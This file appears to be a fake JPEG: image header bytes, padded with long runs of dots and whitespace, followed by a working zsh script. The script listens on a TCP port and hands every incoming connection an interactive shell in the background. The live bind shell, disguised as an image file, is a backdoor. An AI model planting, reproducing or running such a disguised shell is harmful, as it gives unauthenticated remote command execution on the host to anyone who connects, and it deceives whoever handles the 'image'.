ÿØÿà JFIF 

  
 
  ÿÛ C      

!"$"$ÿÛ C
  ÿÂ p 
" 

ÿÄ  

 

          
 ÿÄ 


 

           
ÿÚ 
   
ÕÔË®
(%	aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥	BQ¤¢ X«)X…€¤   
@  

  ..............................................................................................................................................................................
.............................................................................                                                  
                                                                                                                                                                                     ÿØÿà JFIF 

  
 
  ÿÛ C      

!"$"$ÿÛ C
  ÿÂ p 
" 

ÿÄ  

 

          
 ÿÄ 


 

           
ÿÚ 
   
ÕÔË®
(%	aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥	BQ¤¢ X«)X…€¤   
@  

  ..............................................................................................................................................................................
.............................................................................                                                  
                                                                                                                                                                                     # Listen on the given port and for every connection, start a new 
# command (defaults to $SHELL) in the background on the accepted fd.
# WARNING: this can leave your host open to the universe.  For use
# in a restricted fashion on a secure network.
#
# Remote logins are much more efficient...

local TCP_LISTEN_FD
trap '[[ -n $TCP_LISTEN_FD ]] && ztcp -c $TCP_LISTEN_FD; return 1' \
    HUP INT TERM EXIT PIPE

if [[ $1 != <-> ]]; then
    print "Usage: $0 port [cmd args... ]" >&2
    return 1
fi

integer port=$1
shift
ztcp -l $port || return 1
TCP_LISTEN_FD=$REPLY

(( $# )) || set -- ${SHELL:-zsh}
local cmd=$1
shift

while ztcp -a $TCP_LISTEN_FD; do
    # hack to expand aliases without screwing up arguments
    eval $cmd '$*  <&$REPLY >&$REPLY 2>&$REPLY &'
    # Close the session fd; we don't need it here any more.
    ztcp -c $REPLY
done